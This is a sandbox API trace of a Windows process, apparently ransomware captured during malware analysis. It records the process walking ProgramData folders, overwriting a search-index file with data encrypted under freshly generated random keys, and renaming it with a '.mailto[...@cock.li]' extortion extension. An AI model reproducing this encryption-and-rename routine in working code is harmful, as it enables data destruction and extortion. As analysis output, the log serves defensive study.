	[0092.091] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1
	[0092.091] wcscmp (_String1="Applications", _String2=".") returned 1
	[0092.091] wcscmp (_String1="Applications", _String2="..") returned 1
	[0092.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ecd50
	[0092.091] wcscpy (in: _Dest=0x47ecd50, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data"
	[0092.091] wcscat (in: _Dest=0x47ecd50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\"
	[0092.091] wcscat (in: _Dest=0x47ecd50, _Source="Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications"
	[0092.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ec810
	[0092.091] wcscpy (in: _Dest=0x47ec810, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications"
	[0092.091] wcscat (in: _Dest=0x47ec810, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\"
	[0092.091] wcscat (in: _Dest=0x47ec810, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*"
	[0092.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030570
	[0092.091] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b228
	[0092.092] wcscmp (_String1=".", _String2=".") returned 0
	[0092.092] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.092] wcscmp (_String1="..", _String2=".") returned 1
	[0092.092] wcscmp (_String1="..", _String2="..") returned 0
	[0092.092] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0092.092] wcscmp (_String1="Windows", _String2=".") returned 1
	[0092.092] wcscmp (_String1="Windows", _String2="..") returned 1
	[0092.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bcf90
	[0092.092] wcscpy (in: _Dest=0x47bcf90, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications"
	[0092.092] wcscat (in: _Dest=0x47bcf90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\"
	[0092.092] wcscat (in: _Dest=0x47bcf90, _Source="Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows"
	[0092.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc010
	[0092.092] wcscpy (in: _Dest=0x47bc010, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows"
	[0092.092] wcscat (in: _Dest=0x47bc010, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\"
	[0092.092] wcscat (in: _Dest=0x47bc010, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*"
	[0092.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50300a0
	[0092.092] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b628
	[0092.106] wcscmp (_String1=".", _String2=".") returned 0
	[0092.106] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.106] wcscmp (_String1="..", _String2=".") returned 1
	[0092.106] wcscmp (_String1="..", _String2="..") returned 0
	[0092.106] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config", cAlternateFileName="")) returned 1
	[0092.106] wcscmp (_String1="Config", _String2=".") returned 1
	[0092.106] wcscmp (_String1="Config", _String2="..") returned 1
	[0092.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476d7c8
	[0092.106] wcscpy (in: _Dest=0x476d7c8, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows"
	[0092.106] wcscat (in: _Dest=0x476d7c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\"
	[0092.106] wcscat (in: _Dest=0x476d7c8, _Source="Config" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config"
	[0092.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476e6f8
	[0092.106] wcscpy (in: _Dest=0x476e6f8, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config"
	[0092.106] wcscat (in: _Dest=0x476e6f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\"
	[0092.106] wcscat (in: _Dest=0x476e6f8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*"
	[0092.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0092.106] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afe8
	[0092.106] wcscmp (_String1=".", _String2=".") returned 0
	[0092.107] FindNextFileW (in: hFindFile=0x477afe8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.107] wcscmp (_String1="..", _String2=".") returned 1
	[0092.107] wcscmp (_String1="..", _String2="..") returned 0
	[0092.107] FindNextFileW (in: hFindFile=0x477afe8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.107] FindClose (in: hFindFile=0x477afe8 | out: hFindFile=0x477afe8) returned 1
	[0092.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030308) returned 1
	[0092.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e6f8) returned 1
	[0092.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d7c8) returned 1
	[0092.107] FindNextFileW (in: hFindFile=0x477b628, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76bc41b5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x76bc41b5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb9715900, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.jcp", cAlternateFileName="")) returned 1
	[0092.107] wcscmp (_String1="edb.jcp", _String2=".") returned 1
	[0092.107] wcscmp (_String1="edb.jcp", _String2="..") returned 1
	[0092.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e0c8
	[0092.107] wcscpy (in: _Dest=0x476e0c8, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows"
	[0092.107] wcscat (in: _Dest=0x476e0c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\"
	[0092.107] wcscat (in: _Dest=0x476e0c8, _Source="edb.jcp" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp"
	[0092.107] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp")) returned 0x2020
	[0092.109] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp", dwFileAttributes=0x20) returned 1
	[0092.109] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jcp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e0
	[0092.110] GetFileSizeEx (in: hFile=0x13e0, lpFileSize=0xdb3fbdc | out: lpFileSize=0xdb3fbdc*=8192) returned 1
	[0092.110] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.110] ReadFile (in: hFile=0x13e0, lpBuffer=0xdb3fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdb3fb5c, lpOverlapped=0x0 | out: lpBuffer=0xdb3fb60*, lpNumberOfBytesRead=0xdb3fb5c*=0x4, lpOverlapped=0x0) returned 1
	[0092.112] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b00
	[0092.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0092.113] NtQuerySystemTime (in: CurrentTime=0xdb3fb3c | out: CurrentTime=0xdb3fb3c*=132251868188533794) returned 0x0
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xb53fc16d
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xbfacf3c3
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x12b751c8
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x741bafac
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xd2fa16dc
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x252284a8
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xc1a8fdeb
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x93b2f0d7
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x98825869
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x67be8733
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x25966637
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x5efd59dc
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x970291ce
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xf94da342
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xf59d2f4a
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xe3f1a796
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x193a5bec
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x6b645671
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x3d0c3673
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x5c767ecc
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x6366f03b
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x71c6c27e
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xa75b7311
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xa324337d
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x3a200771
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xb872f3ce
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x3157b3c3
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x25963089
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xca27ead5
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x4c917743
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0xeb83906b
	[0092.113] RtlRandom (in: Seed=0xdb3fb48 | out: Seed=0xdb3fb48) returned 0x2c5a264f
	[0092.121] ReadFile (in: hFile=0x13e0, lpBuffer=0x50bd898, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0xdb3fb38, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0xdb3fb38*=0x2000, lpOverlapped=0x0) returned 1
	[0092.125] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.125] WriteFile (in: hFile=0x13e0, lpBuffer=0x50ca0a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0xdb3fb34, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesWritten=0xdb3fb34*=0x2000, lpOverlapped=0x0) returned 1
	[0092.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ca0a0) returned 1
	[0092.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50bd898) returned 1
	[0092.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0092.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0092.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x47317e0
	[0092.128] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.128] WriteFile (in: hFile=0x13e0, lpBuffer=0x5028008*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0xdb3fb9c, lpOverlapped=0x0 | out: lpBuffer=0x5028008*, lpNumberOfBytesWritten=0xdb3fb9c*=0xff, lpOverlapped=0x0) returned 1
	[0092.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0092.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0092.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0092.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0092.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b78) returned 1
	[0092.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e11ee8
	[0092.133] wcscpy (in: _Dest=0x2e11ee8, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp"
	[0092.133] wcscat (in: _Dest=0x2e11ee8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.133] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xdb3fb54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jcp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32998
	[0092.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0092.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f290) returned 1
	[0092.134] NtQueryInformationFile (in: FileHandle=0x13e0, IoStatusBlock=0xdb3fb60, FileInformation=0xdb3fb38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xdb3fb60, FileInformation=0xdb3fb38) returned 0x0
	[0092.134] NtSetInformationFile (FileHandle=0x13e0, IoStatusBlock=0xdb3fb60, FileInformation=0xdb3fb38, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.135] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11ee8) returned 1
	[0092.135] FlushFileBuffers (hFile=0x13e0) returned 1
	[0093.278] CloseHandle (hObject=0x13e0) 

Thread:
	id = 310
	os_tid = 0x12dc

	[0076.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2db0470
	[0076.850] wcscpy (in: _Dest=0x2db0470, _Source="C:\\ProgramData\\Microsoft\\Settings" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings") returned="C:\\ProgramData\\Microsoft\\Settings"
	[0076.850] wcscat (in: _Dest=0x2db0470, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\") returned="C:\\ProgramData\\Microsoft\\Settings\\"
	[0076.850] wcscat (in: _Dest=0x2db0470, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\*") returned="C:\\ProgramData\\Microsoft\\Settings\\*"
	[0076.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e26320
	[0076.850] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\*", lpFindFileData=0x2e26320 | out: lpFindFileData=0x2e26320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87938
	[0079.991] wcscmp (_String1=".", _String2=".") returned 0
	[0079.992] FindNextFileW (in: hFindFile=0x2d87938, lpFindFileData=0x2e26320 | out: lpFindFileData=0x2e26320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.992] wcscmp (_String1="..", _String2=".") returned 1
	[0079.992] wcscmp (_String1="..", _String2="..") returned 0
	[0079.992] FindNextFileW (in: hFindFile=0x2d87938, lpFindFileData=0x2e26320 | out: lpFindFileData=0x2e26320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 1
	[0079.992] wcscmp (_String1="Accounts", _String2=".") returned 1
	[0079.992] wcscmp (_String1="Accounts", _String2="..") returned 1
	[0079.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daed68
	[0079.992] wcscpy (in: _Dest=0x2daed68, _Source="C:\\ProgramData\\Microsoft\\Settings" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings") returned="C:\\ProgramData\\Microsoft\\Settings"
	[0079.992] wcscat (in: _Dest=0x2daed68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\") returned="C:\\ProgramData\\Microsoft\\Settings\\"
